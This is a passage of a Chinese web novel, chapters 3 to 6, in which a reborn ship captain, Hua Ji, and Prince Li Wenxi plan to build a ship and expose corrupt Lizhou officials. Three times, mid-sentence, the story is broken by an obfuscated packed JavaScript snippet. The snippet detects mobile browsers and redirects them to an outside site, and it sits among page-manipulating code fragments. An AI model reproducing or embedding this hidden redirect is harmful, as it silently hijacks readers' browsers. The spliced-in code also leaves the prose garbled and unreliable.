《从漕船女匠到水军统帅》 3. 第三章 如花棘之前遇到的黑衣男子一样，李文晞身边的暗卫都是高手，未至天明，院落中央已然横尸遍地。 李文晞起身，漫不经心地扫了一眼，吩咐道：“就送回漓河边上吧，小心着点，别吓着人。” “是。”暗卫们领命退下。 廊檐下一时间只剩下了花棘和李文晞两人。 李文晞摊手一指旁边的院落，柔声开口：“客房早已备好，花棘姑娘不妨暂且住下，本王这里很安全，其余事宜，晚些再商谈也不迟。” 事已至此，花棘没再推脱，颔首谢过之后，便拾起长刀径直走了进去，回身锁好了门。 黑暗中，干净整洁的房间内，一应用品俱全，里间的屏风后方，甚至放好了一浴桶的水和所有梳洗用物，就近的架子上搭着一整套熏香过后的新衣。 花棘伸手触了一下水温，居然还是温热的。她看了一眼自己身上的污秽，也不知是个什么心境，将长刀立在浴桶一旁，她竟真的退去旧衣，入了水。 一整晚的险象迭生，此刻只剩她一个人安静下来，所有迟钝的感知方才慢慢回收。她是在文明社会的规训下长大的人，此前二十七年的人生里并没有杀过人，她看着自己不住抖动的双手，恍惚的回忆里，那个将长刀捅入进别人身体里的人，仿佛是另外一个无比陌生的鬼魅。 她很害怕，非常害怕，但在所有恐惧之上，现在她更需要的是一份麻木的冷静。 李文晞今晚当然说的都是真话，只不过，冰山一角将露，所有能说的，便都是准备好可以说的。 她任远洋船长近五年之久，自信自己认人还是准的，李文晞这个人，城府深沉，心有沟壑，绝非平庸无能之辈。 花棘期待着他接下来的手段，仇敌强如巨树，她一只小小的蚍蜉想要撼动，最需要的就是与虎谋皮，越是能咬人的猛虎，才越好。 沐浴之后，换好干爽的衣裳，倒在柔软的被褥里，疲惫至极的她总算沉沉地睡了过去。 窗棂外天光由黑变蓝，下了一整夜的雨终于舍得停了，李文晞长身立于檐下，见旁边院落的烛火彻底熄了，这才转身准备离开。 漓州顽疾积重已久，乃是整个朝堂人尽皆知的事，其中权势脉络复杂，与几位御前的大人物都担着干系。父皇要么不动，一动便是有了连根拔起的决心。 这一次肯重用他，暗中允诺诸多便宜，看中的也是他在朝中全无根基的缘故。 如此，最好。 有些东西藏得太久，倒也该放出来见见天日了。 晨光划过树梢，映亮了李文晞松风水月般俊朗的侧脸，只见他薄唇微挑，步履轻快，转瞬消失在了拐角。 花棘一觉醒来，便觉全身舒爽，推开窗一看，天色晴朗，日头已经开始西斜了。 她才起没一会儿，一连几波下人就过来了，收拾房间、伺候她梳洗、安置饭菜、又准时过来将碗碟撤去。 前世今生，清简多年，这还是花棘第一次这么腐｜败。 全然休整好后，她便踱步去了昨晚与李文晞相谈的小院等人。昨夜心绪烦乱，没怎么注意，这会儿走近一看，才发觉院落一角竟然有一棵经年的梨花树。 她记得，小时候外婆院子里也有这样的一棵梨花树，盛夏傍晚放学，每每推门回去，外婆总是坐在梨树的阴凉下等着她。 花棘轻倚檐下，躲在阴影中安静地坐着，看斜阳漫抚过枝头雪白的花瓣，凉风带来清香几许，叫她不自觉地一阵阵恍神。 是以，当李文晞回来之时，抬眼便看到了一幅惊为天人的落英美人图。 霞光愈渐浓烈，落在树梢上的颜色几近橘红，可在划过花棘的脸颊时，又变作了极其温柔的暖黄，直衬得那飒爽冷艳的面容也有了些绵绵的旖旎。 他私心为花棘准备了一套青色衣裙，裁剪利落大方，布料上乘，他深知，只有这样的衣衫才最衬她。乌黑的长发简单束于脑后，一只木质素簪，几缕碎发垂落两颊，周身再没有其余装饰，便足以叫人见之不忘。 他隐于一侧看了好久，这才舍得走近带出了一点声响，花棘看过来，脸上霎时变了一副神色，满眼防备，他不禁略有悻悻。 李文晞这边刚一坐下，花棘便开门见山地说：“漓州上下官官相护，黑白两道暗通款曲蛇鼠一窝，想要以正当方式获得证据，恐怕难于登天，不知殿下可有准备。” “花棘姑娘不要误会。”李文晞听过浅浅一笑，勾人的含情眼微弯，看向花棘道，“本王原也不是什么正直之人。” 说完，端坐椅中，招手叫人上茶，仍旧一副文雅倜傥的模样。 尽管花棘并不是什么喜欢看帅哥的性格，但还是不得不承认，与她仅一桌之隔的李文晞实在帅的有些过分。良好的教养与学识，是从骨子里往外长的，远不是一般的花拳绣腿可以比。 茶具上来，李文晞依旧亲手泡着两人的茶，缓声开口：“本王初来乍到，人生地不熟，花棘姑娘有什么高见，不妨畅所欲言，本王听着就是。” 花棘忍着李文晞的客套，也不戳破，继续直接了当地阐明自己的计划。 “所有事情，高官们都不会明面参与，有需要的时候，脏活累活都由漕帮的人暗中去做。” “经由漓河不听他们摆布的船，漕帮的人就会在水下乱动手脚，等到那时，连船带人是死还是活，就全是漕帮的人说了算......” 话说到此，花棘忽而停了下来，她猛地想起昨日下午出事的商船，前来漓州调查的钦差，不刚好就在上面吗？ 她一时没有控制好脸上的情绪，愣怔的目光直勾勾地盯着李文晞。 李文晞被花棘的表情逗到，掩面笑了起来，知她心里想的是何事，他却没有直说，而是有意逗她道：“嗯，也不是没有这个可能。” 花棘低下头，视线落在眼前的茶水上，知晓内情的她是如何也笑不出来。 在原身的记忆中，大绥朝自建立以来，历经三代帝王更迭，从王朝最初的动荡，历经休养生息，再到如今的内忧外患。四下边境虽时有摩擦，可怎么也是外疾，不想，王朝内部，一个地方权臣，竟然连王室的皇子也敢染指，还因此，要白白害死几百条人命。 为什么，为什么会这样！昨天，如果没有她在呢，没有她这个意外到来的现代人，那几百人的性命又当如何！ 花棘一只放在膝上的手紧紧握成了拳，整个身体都在因强烈的愤怒，而不受控制地发着抖。 “花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819637|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棘姑娘......” 坐在她对面的李文晞早已收了笑意，见她突然这样，更是吓坏了。 李文晞试探着小声问道：“可是本王说了什么不该说的话，惹了花棘姑娘不快，姑娘......” “不是你。”花棘蓦然抬首，眼中一片清明。 她再度开口，吐露的每一个字都掷地有声。 “殿下让我献计，可是当真会听从我的建议。” “当真。”李文晞郑重回她。 “那好。” 花棘目光如炬，望向远方天幕，眉眼间满是傲气。 “我要造出一艘当世绝无仅有的船。” “既然他们盘踞水上，自信呼风唤雨，那我便要在水中，让他们败的彻底，让他们将所有枉死的性命全部偿还。” 落霞绚烂如血，映在面前绝美的面容之上，近在咫尺的距离，李文晞看着那双锋芒毕露的眉眼，几乎被摄魂夺魄，如何也移不开目光。 他没有去问具体的计划，也不言是否同意，只似被蛊惑了一般，遵从着自己的内心，字字斟酌道：“本王不才，养尊处优多年，倒还有些积蓄，愿意为花棘姑娘出一份力。” 花棘收回视线，看了李文晞一眼后，淡淡回了一句：“叫我花棘就好。” “花棘。”李文晞随即轻唤一声。 花棘饮尽面前的茶，俯首沉思了一会儿后，才转头对李文晞说：“要造我设计的船，所需花费的人力物力高昂，为保万全，殿下难道不需要提前试验一下我的能力吗？” 李文晞苦笑了一下，有些无奈，他要怎么去疑心那个孤身一人跳入水中，拼着性命将一船人性命拉回来的她。 可他还是一脸温色，和声顺从：“好啊，花棘觉得该怎样试验才好？” 花棘一时失神，被李文晞的赤诚灼到，双颊竟渐渐有些微热。 她错开目光，说道：“殿下当举整个漓州顶尖船匠之力，来谋划击落我的船，若我败了，殿下便可以有更好的人选。” “哦？”李文晞替她重新添好茶，“如此，姑娘的筹谋岂不为他人做了嫁衣。” “这个，我倒是从未想过。”花棘说。 李文晞追问：“为何？” 花棘回看向他，灿然一笑，朱唇轻启。 “有我在的船，不会沉。” “哈哈哈......哈哈......好！” 李文晞终于痛痛快快地笑了出来，他定定地看着花棘，此刻莫大的欣喜，只让整个心胸都在为之一颤。 他忽然动了一个心思：“既然花棘这样胜券在握，那不如，我们小赌一把？” 不想，花棘转而给了他一个更为大胆的诱惑。 “小赌就算了。” 花棘神色坦然，对自己的野心丝毫不加掩饰，反问道： “我如果要这一场胜局最后的赌约，殿下可还舍得给吗？” “花棘。” 李文晞脸上扬着笑意，思绪久久震荡不已，直视向面前人的双眼，他还是一副轻松嬉闹的口吻，却忍不住偷偷将心底最真的话都说了出来： “只要你肯要，只要我有。” “便是我李文晞的幸运。” 4. 第四章 大雨之后一连都是晴天，盛夏行至末尾，清晨与傍晚开始吹起了凉风，青砖黛瓦的院落内，一片恬静舒爽。 距离花棘与李文晞立下赌约已经过去了三天，可这三天的时间里，花棘不是在小院遛弯儿闲逛，就是坐在梨花树下发呆，这会儿又不知是想到什么，上手摆弄起了一个自己做的小积木。 午后的热意逐渐褪却，花棘坐在梨花树下的小桌边，将手上的积木组好、拆掉、再组好、再拆掉。她手边放着一把小刀，时不时便要重新调整一下积木块的形状，如此往复，也看不出她的厌烦，舒展的眉眼间反倒都是惬意。 一组积木的各式组合全部被花棘试了个遍，她摸过手边的木块，用小刀随便标记了几笔之后，很快又给自己削了一组出来，继续兴致盎然地玩弄了起来，全然不知身后人的窥探。 范如芥盯着看了一会儿，抬手捋了捋灰白的胡须，皱眉摇了摇头，而后轻手轻脚地离开墙角，出了院落。 正厅内，范如芥进来时，李文晞正在一侧更衣。 抬眼瞧见了一抹熟悉的灰色身影后，李文晞戏谑地问道：“如何？老师一连看了几天，可是瞧出端倪了吗？” 范如芥，字弥心，在李文晞心中，这位相伴了他近十年的老师，绝对算得上是当世罕有的奇才，只不过，老师看人的眼光可比他要挑剔多了，而且，脾气属实不是太好。 果然，只见那身量不高又有些干瘦的小老头，焦急地犹如热锅上的蚂蚁，低头轻捋着胡须反复踱步之后，开口便是一句。 “殿下，这样的人，如若不能为我们所用，便该尽快杀了。” 李文晞收拾妥当，笑着走来近前，和声询问：“哦？老师这话是什么意思，学生我可听不明白。” 范如芥自行提前落座，猛灌了一大口茶水后，这才解释道：“追杀被困可以临危不乱，直面高位依旧沉着清醒，寄人篱下不见拘谨颓败，以上三者，得一便已非等闲之辈。” “而三者兼得，定然不是池中之物，才十八岁啊......” 范如芥感慨，语速骤然放缓，爬满了皱纹的眼睛，目光灼灼地看向虚空中的一点，“假以时日，老夫不敢想象此女能有什么样的成就。” 说着望向李文晞的眼神，忽而冷了下去，一双原本就因枯瘦而微凸的大眼睛，显得愈发阴邪恶毒，“这样的人，绝对不能拦了我们的路。” 李文晞心领神会，自己的这位好老师，可从来不是什么善人。 他没急着评价什么，而是缓步走至范如芥面前，如往常一样郑重行过礼后，这才走回主位坐下。 范如芥看着上位处泰然端坐的皇七子，年轻的面容上是一贯的漠然洒脱，双眸流转间喜怒深藏。那晚殿下与花棘的对话，他不是没有听见，但很多时候，确实连他这个老师，也有点摸不透自己学生的心思。 花棘自然出类拔萃，可这一位他自己选中，并誓死效忠的君主，又何尝不是人中龙凤。 “殿下，依老夫看来，花棘......” 他正欲再度进言，门外一道由远至近的声音，猛地打断了他。 “程峰都怀疑自己是不是听错了，几日前范先生怕不是没和小人们在同一条船上，不然，实在想不出，先生今日怎么会说得出，要手刃恩公这番情意全无的话。” 一身黑衣的程峰径直走到李文晞身旁，持剑立于一侧，说完，抬手除了面上遮挡，露出了一张英气逼人的脸。 只叫人惋惜的是，如此英姿相貌，竟有一条陈年旧疤斜横在左眼与鼻梁之上，为那刀削斧凿般深邃的五官，又平添了一缕蹉跎。 深巷内刀光血影的那一晚，正是他潜在暗处跟踪，救下花棘后，将人带了回来。 “程谨行！” 范如芥怎忍得了别人挑衅污蔑，随即指着程峰的鼻子直言：“你哪一句听得老夫要害人性命，老夫的意思分明是以威胁之名，行拉拢之意。反倒是她花棘姑娘，豪言壮语说出来了，结果呢，一连三天也不见有什么动作，你倒是说说，老夫该不该疑心她。” 程峰浓眉一挑，转头看向别处，“花棘姑娘在想什么，我怎么可能知道。” 嗯？ 李文晞听罢，不动声色地向身侧扫了一眼，程峰这块整日只知道在房檐上睡觉的木头，竟然会主动替花棘说话，小子可别是动了什么歪心思吧。 座下，范如芥仍在沉思，不时自言自语：“难道小姑娘真的深藏不漏，心中自有计较，是我老头子太心急了？” 李文晞看的有趣，吃了一颗桌上洗好的提子后，跟着随便应了一句：“嗯，老师说的在理。” 然而，真实想的却是，花棘那样的妙人，心里千回百转的心思，又岂是别人随随便便就能猜到的。 心猿意马间，嘴角的笑意更甚，脑海中一抹梨花树下的青衣倩影缓缓浮现，待他回神反应过来时，连自己都有些惊到了，他是从什么时候开始，这样笃信于她？ 门前光影一动，一名侍奉的小丫头走至屋内，匍匐着跪倒，双手托起一张纸稿向前，脆声开口道： “回禀殿下，花棘姑娘给了这份物品清单，烦请殿下帮忙采购。” 李文晞听到，强装满不在意，扬头一指范如芥的方向，吩咐：“就交给老师去办吧。” 范如芥急切地一把拿过下人递来的清单，展开来一目十行地扫过一遍，脸上神色先是凝重，而后又快速舒展，嘴中不住称赞道：“奇了，真是奇了。” “殿下，您快看啊。”范如芥将清单盛到李文晞面前，兴奋地一一指给人看，“其中所需的每样物品，都精确地标注好了份额，而且，条理清晰，不同类别之间分列明确。” “花棘姑娘能够给出这样的一份清单，其想要做的事情，必定成竹在胸，思虑良久了啊......” 李文晞没有理会自己老师到底在说什么，他倒是对眼前发生的事并不意外，此刻的注意力，全在那一个个娟秀的字体上。 字迹虽简洁流畅，但在横折转曲之处，却不减苍劲有力的锋芒，实在不该是一个十八岁的女子能够拥有的书法造诣，明明还是那样的出身......花棘身上，到底还有多少秘密是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819638|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道的。 范如芥事无巨细地交代完采买事宜后，下人刚走到门口，又被李文晞给叫了回来。 他抬手将桌上盛着提子的瓷盘向前推了推，“把这个送去花棘姑娘房中吧。” 青绿色的新鲜提子，在口中爆开的一瞬间，汁水很清爽，也很甜，盛夏焦躁，劳心费神，花棘应该也会喜欢的。 湛蓝如洗的晴空上，日头逐渐西斜，李文晞理了理自己刚刚换上的这身，分外奢靡华贵的衣服后，起身准备出门。 来至私宅门口，临上马车前，他想了想还是把程峰给一起带上了。那晚毕竟是程峰亲手救下的花棘，有英雄救美的戏码在前，将这两个人一起留下，没他看着可不行。 马车渐行至闹市，漓州商贾众多，富庶繁华，李文晞正在闭目养神，一边听着人潮的嘈杂，一边整理自己的思绪。 当时商船出事的现场他已派人反复查看过，若说是有人故意为之，多少有哄骗花棘的算计在，其实一直到现在，他手中都没有确切的证据。但当晚的行刺确切无疑，他此番来到漓州的行程，到底还是泄漏了出去。 漓州眼下是整个大绥的经济命脉，他这一次奉皇命清剿官场，斩断的不知是多少人的财源，偏他这个不懂事理的草包皇子，又不肯按照规矩明面上走下过场，便也怪不得人家暗地里给他上手段了。 漕帮那群人不过是被推到台前蹦跶的跳蚤而已，与花棘的合作是要将跳蚤以雷霆之势，又快又狠地除去，而面对后面躲藏的豺狼，他要的是一点一点蚕食，徐徐图之。 身下的晃动逐渐停了，李文晞缓缓睁开了眼睛，漆黑的眼眸深处，有凶戾之色一闪而过。 人人都在争做螳螂，人人都以为他是待捕的蝉，可他李文晞自踏入漓州地界的那一天起，要做的就是黄雀。 侍从尊敬地揭开车帘后，李文晞不紧不慢地端坐其中，四下一片寂静，谁也不知道这位突然驾到的皇子心里到底想的什么，一直到眼前侍从的手开始不受控制地抽搐发抖之后，李文晞才终于肯起身，满面笑意地走了下来。 “参见晨王殿下。” 宅院门口等待迎接的人，早已匍匐着跪倒一片。最前端一人身着深棕色朴素常服，头裹一顶黑色幞头，约莫四十有余，正是漓州刺史身边辅佐处理一切要务的文官，长史，陆穷年，字继日。 李文晞连忙迎上前去，亲手将人扶起：“陆长史请起，本王不请自来，叨扰大人了。” 这也是他和老师范如芥提前商议好的，两相试探，总要先从一个明白人开始才行。 “晨王殿下太客气了，您肯亲自光临寒舍，已经是下官上辈子修来的福气了，切莫再折煞下官了，快快里面请。” 陆穷年一路不住地躬身行礼，态度极为恭顺谦卑，不成想，做出的事情可一点也不老实。 行至正厅，李文晞看着其间摆了满地的金银财宝，并一众衣着清凉的美女佳人们，脸上笑意愈来愈深，落定在门槛外也不进去，明知故问地对一旁的陆穷年道： “大人这是何意，本王怎么看不懂啊？” 5.第五章 朝堂之上谁人不知，晨王皇七子最是爱财如命，胆小怕事，陆穷年自认对付这么一个乳臭未干的黄口小儿，还是不在话下的。 他略微移了两步凑去近前，低声在李文晞的肩头说道：“殿下，您老远过来一趟不容易，漓州城内风景秀丽，新奇有趣的事情多得很。下官已为您安排好了人陪同，您不妨四处逛逛，也算不枉此行啊。” “至于其他事宜，尽可交给下官去办就是。” 李文晞听着，目光落在前方的财宝上，嘴角不住上扬，陆穷年果然是个明白人，知道他最近帮人造船正急需用钱，这下感情好，倒省的他麻烦了。 “陆大人有心了。” 他敷衍着回了一句，转头唤来了程峰。 “来人，将陆大人的好意都给本王抬回去。” “至于，这粉黛佳人嘛——” 李文晞语气怪异地拖长了尾音，视线从那些女子的脸上一一扫过，却不知为何，脑海中浮现的竟是雨夜里花棘满身是血，手握长刀的身姿。 他一手负于身后，偏头看着陆穷年，末了，似有难言之隐一般，无奈地说道：“府中内人伶俐爱醋，夜夜留灯，陆大人就莫要来坑害本王了。” 范如芥听的胡子一吹，对自己学生张口就来的狂话，着实拜服。 这边事宜作罢，陆穷年转而引人入席，他特意着人请了漓州城最好的厨子来家，做了满满一桌当地的特色吃食，等待菜品上全之前，凭他的三寸不烂之舌，已哄得那胸无大志的小子都快与他称兄道弟了。 “晨王殿下，请吧。” 陆穷年躬身在侧，小心将李文晞面前的酒杯斟满，却见眼前人几番抬起酒杯欲饮，到底又摇着头将杯子放了回去。 “晨王殿下，这是？”他不解地问。 “实不相瞒陆大人，本王自小吃相难看无法见人，除非宫中隆重宴会，不然，本王还从未在外用过膳。”李文晞说着，面上神色愈发暗了，“陆大人准备了这么多丰富的菜肴，若因此白白浪费，倒叫我为难了。” “这...下官之前确实未曾听说......” 陆穷年俯身两手维持着斟酒的动作，就那样定在了原地，他之前怎么从来不知道还有这样的秘闻，事出突然，叫他一时半会儿也摸不准，这位皇七子的葫芦里到底要卖什么药。 “那依殿下的意思是？”他只好试探着问。 “嗯——”李文晞左手横于胸前，右手手肘架在上面，食指玩味儿地在鼻尖下绕着圈，好似他真的是在为难地思索一般。 过了好一会儿，才慢悠悠地反问道：“陆大人，您备下的这一整桌菜肴，可是都为了本王？” “这是自然。”陆穷年连忙老实答着。 “本王看要不这样吧。”李文晞长袖一挥，朗目疏展，“左右也是做给本王吃的，那不如就让本王全部带回府中，慢慢享用如何？” 陆穷年霎时瞪大了眼睛，直直地看向李文晞，一时间都忘了尊卑有别，不能直视上位的规矩。 他是知道没出息的皇七子是个最爱财的主，可今日一见......他晨王府就这么缺一顿饭吗？ 陆穷年调整好表情，重新笑着回礼：“全凭殿下安排。” “还是陆大人善解人意啊。”李文晞喜上眉梢，“来人，打包。” 陆穷年立在一旁，也不敢轻易入座，肚子饿的咕咕直叫，眼看着一桌子珍稀菜肴瞬间被搬运一空。紧接着，又有晨王府的侍从进来，在李文晞面前恭恭敬敬地摆好了一套白玉茶具。 李文晞神情舒畅，如同坐在自己的府邸一般，慢悠悠地泡着茶。上好的茶叶经由热水烫开，茶香顷刻溢了满室，将茶水贴至鼻尖，他先是仔细嗅过，又略微吹散了滚烫的温度之后，这才闭着眼浅浅地品了一口。 醇厚的清苦渐渐在舌尖蔓延，柔滑温润入喉，回甘才后知后觉地浮了上来。第一口的浅尝辄止，反勾起了味蕾的欲｜望，李文晞没急着睁开眼睛，而是又跟着饮了一大口，这才无比享受地缓慢回了神。蓦然偏过一下头，才算想起来旁边还站了一个人。 “哟，瞧本王这记性，陆大人您怎么还站着呢啊，来，坐，坐，别太拘谨了。”李文晞嘴上说得客气，却是连正眼都没给一个。 “是，是。”陆穷年脸上勉强堆笑，挑了处圆桌旁，离李文晞最远的位置坐了下去。 李文晞看了看自己面前的茶具，一双含情眼有些委屈，又有些无辜，对着陆穷年道：“本王今日出来匆忙，就只带了这么一个杯子，陆大人，不会介意吧？” 陆穷年当即摆手：“不不不，殿下说笑了，下官......” “那就好。”李文晞径直打断了陆穷年的话。 “既然陆大人没有别的安排了，我们也可以开始谈正事了。” 陆穷年知道李文晞就是在耍他，故而面上便不再继续装了，冷脸问道：“恕下官愚钝，不知殿下所指是何正事？” “陆大人不知吗？”李文晞嘴角依旧扬着一抹意味不明的笑意，“本王还以为，那日商船在河中失事的时候，陆大人就什么都知道了呢？” 陆穷年闻言眉间一凛，他当然明白李文晞话背后的意思。事情是他督促着办的，确定滴水不漏，量他李文晞也拿不住什么把柄。 “殿下说笑了，漓河水急，过往船只遇上点什么也是常有的事，怕不是，商船上真的给殿下吓到了吧？”陆穷年说完，摆弄着长袍，调整了一个更为舒服的坐姿。 两人言语间图穷匕首见，交锋至此，陆穷年早知李文晞远不是传闻中所说的那般好打发，但朝堂之事牵一发而动全身，漓州，又怎是他一个无权无势的郡王说动就能动的。 “陆大人好聪明啊，本王就是被吓到了。”李文晞眼角眉梢间的开心根本藏不住，简直就要兴奋地拍起手来。 他原本并没有十足的把握，商船失事一定与这群豺狼有关，可多亏了这陆穷年空有个长史之名，竟被他随便一诈就给诈出来了。 拖延到这个时候，约莫外面程峰早该将财宝搬完了，李文晞也没兴趣跟陆穷年在这耗下去。 “陆大人，本王脑袋转的慢，今日私下来找您，是要您为本王行个方便的。” 李文晞收了神色，沉下语气，锦袍下修长的双腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827766|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交叠着翘起，挺身向后，一手搭在桌前，一手有一下没一下地在大腿上轻轻拍着，看上去随意慵懒，黑到深不见底的眸子却一直死死地落在陆穷年身上。 对面的陆穷年沉着脸问：“不知晨王殿下想要什么样的方便？” “陆大人爽快。”李文晞粲然一笑，“本王别的东西也看不懂，就请陆大人将漓州五年内记录在案的所有赋税征收，并每一笔详细的财政支出全部交由本王。” 他双眼微眯，一字一顿，“一一核查过目即可。” “你——”陆穷年双颊涨红，听罢直接站了起来。 他李文晞以为自己是什么东西啊，不过是攀附在太子身边的一条狗，漓州这块烫手山芋若不是没人敢接，钦差的位子能落到他头上，做梦去吧！ 别是以为他刚才备下的那些厚礼，真的是孝敬一个小小晨王的吧，那分明是给太子的！ 事已至此，陆穷年也不再闷头装傻，“不知此番晨王前来，太子殿下那边......” “陆大人简直神机妙算啊，您推测的没错，本王今日所为，就是太子授意。”李文晞想也不想信口胡诌，太子那狗东西远在天边，还能管得了他要干什么。 陆穷年冷声道：“如此，下官该给行的方便，便是晨王已经搬走的那些，还望太子殿下不要出尔反尔。” “大人这话就说的不对了。” 李文晞说话也不看陆穷年，只气定神闲地摆弄着自己手上成色可人的碧绿扳指，这东西沉得坠人，他平时根本懒得戴。 “您刚才分明说那些好东西可都是给我的，关太子什么事啊？” 说至最后一个字后，他故意将语调上扬，然后抬头享受似的看着陆穷年愈涨愈红的脸，继续道：“本王今日也是开了眼了，不想这漓州城这么人杰地灵，连大人一个区区五品的官员，家底都这么厚。从前只听说漓州城富，却没想到都富在这了啊。” “别不是，连刺史大人的那份也给算上了吧？” 两句话激得圆桌另一侧的陆穷年，气急败坏地大喊道：“晨王殿下，休要信口胡言，岂知，污蔑朝廷官员，可是重罪！” “污蔑？呵呵—”李文晞径直笑了起来，“陆大人，您的俸禄本王如果没记错的话，按当朝例律每月不足四两，所以，您的这些钱，都是哪来的啊？” 陆穷年视线闪躲：“这是，这是......” “怪不得陆大人不肯将账目交与本王看，”李文晞站起身，陡然提高了音量，“原来是这漓州城的账，都是大人自己说了算啊！” “殿下息怒！” 陆穷年被重喝吓的当即跪倒在地。 李文晞负手背于身后，居高临下，一步一步走去近前，开口声音冰冷，夹带着刀锋，“陆大人你记着，下一次，本王除了会带着圣旨来，还会带着镣铐和刽子手。” 从陆穷年的府邸出来时，天已经黑了，李文晞抬头望了一眼皎洁的月色，他知道今晚态度一挑明，自此，他在漓州就和一个死人没有区别了。 可与花棘的计划，如若没有他这么一个诱饵在，鱼儿们又怎肯轻易上钩呢。 6.第六章 李文晞回府简单用过晚膳后，不觉间，又踱步到了花棘的院子里。 院落一角，堆着从陆穷年府中搬回来的财宝，这是他曾许给花棘的承诺，想要怎么用，自然也该是花棘自己说了算。 另外一桌子实打实的饭菜都叫他分给府里的下人们吃了，花棘的夜宵是小厨房单独又做的，新鲜的清蒸土步鱼、解暑的银耳莲子羹、绿豆汤，还有最易消化的菜心豆腐汤，这些原都是生活里最不起眼的小细节，可每日他总是要亲自交代过才放心。 八月中旬，夜晚有凉风习习，天幕澄澈如水，姣好的圆月安静又明亮。房檐下梨花树影倾斜，三三两两的枝叉交叠在窗棂上，一笔一画地细细勾勒着窗内伏案沉思的背影。 花棘的脊背很瘦，突出的蝴蝶骨会将轻薄的衣衫略微撑起，轮廓很是好看。她大抵是在写字，右半边的肩膀微微倾斜，一直有规律地缓慢抖动，李文晞就那样看着，又想起了白日里自己见过的一手好字。 夜渐渐深了，院落四下无人，显得蝉鸣声越发聒噪，吵得李文晞的心频频乱跳。他一直背在身后的右手手心里出了很多的汗，直将握在其间的一个木制小玩意儿都给浸湿了。 小东西是回程路过集市买的，他当时正坐在马车里，偶然撩起帘子向外看了一眼，就看到了一个卖各种木质小玩具的摊位。想起花棘连日里摆弄的木质积木，猜测她大抵会喜欢，便停下来选中了一个可以螺旋向上的竹蜻蜓。 他轻手轻脚地来至门口，将手中的竹蜻蜓看了又看，却是忽然犹豫了起来，花棘那样的女子，怎么会喜欢这些稚童才会玩的东西呢。 几次抬起要敲门的手，终究还是收了回去，李文晞将小竹蜻蜓插在了门边一侧，转身准备离开。花棘需要想的东西一定很多，他还是不要打扰的好。 不想，抬脚的步子还没迈开，身后突然传来了动静，是门从里面被人打开了。 李文晞回头，正看见一身青衣的花棘走了出来。 花棘明显有些意外，稍显拘谨地开口问道：“殿下深夜来访，是有什么事吗？” 她看着李文晞一身格外夸张的打扮，头顶用以束发的银冠前方，镶了一颗拇指大的珍珠，雪白的圆领窄袖袍衫上，有金线绣成的华丽云纹，腰间束了一条宽大的玉带，玉带上并多块精雕着图腾的玉板串联在一起，雅致奢华。 月色下面容精致的贵公子风度翩翩，狭长的凤眼敛了光华，视线闪躲着看向一旁，只余修长的睫毛在昏暗的烛火下颤抖不止。 花棘实在想不出，打扮成这样的李文晞，何以会在这个时候，悄无声息地出现在她的门前。 李文晞正疯狂地寻找着一个合适的理由，平日里说惯了谎话的他，在回身与花棘目光对视的一瞬间，忽然无比胆怯了起来。 他分明看见了一双神采灼灼的眼睛，沉着、冷静，即便桌前劳神许久依旧未有丝毫疲态，他深知，自己并没有在那样的注视下骗人的勇气。 于是，只得半真半假地道了一句：“说来，倒是有一件小事想请姑娘帮忙。” 花棘的注意力还在新船的设计上，没有切换过来，是而下意识地回应显得很冷漠，“何事。” 李文晞不抱希望地陈述着下午发生的事，眼睛始终不敢看向花棘的脸，“本王下午去了长史陆穷年的府上，试着探了探商船失事的原由。” 说着，不禁浅笑了一下，语气莫名变得轻快，“不想，那陆穷年过于自负，竟还真叫本王三言两语给诈了出来，只是苦于一直没有找到证据，这才想到了来问问花棘。” 花棘没有注意到李文晞各种千回百转的小心思，确定了来人要问的事宜后，卸了防备轻倚门边，一脸的公事公办。 “过往商船临靠岸时，锚绳抛出的位置和角度几乎都是固定的，除非是极小概率，才会发生被卡在暗礁中的情况，所以，人工干扰导致事故发生的可能性会更大。” “初步推断大概有两方面的影响，一是，有人提前动过锚绳系在船体上的一端，导致锚绳抛出时的轨迹错位，刚好卡入进暗礁里。不过，这一种可能下，我更倾向于是抛出锚绳的那个人，本身就有问题。” “二是，那一天停船抛锚的定点被人改了，特意停在了锚绳抛出时，恰好可以卡在暗礁中的位置，也就是开船的人，出了变故。” “以上两点我的看法，供你参考取证。” 一连串专业的分析说完，两人之间的空气都隐隐有了要凝固的趋势。先前怎么也不敢看花棘的李文晞，此刻，正睁大了眼睛赤裸裸地盯着人瞧。 花棘过了一会儿，才后知后觉的发现，自己刚刚说出的这段话时，俨然是前世出任船长的语气。而如今物是人非，面对封建社会的统治阶级竟还敢这样说话，就多少有些可笑了。 她连忙错开视线，又补了一句：“我随口乱猜的，殿下若觉得不可信，便当我从没说过。” 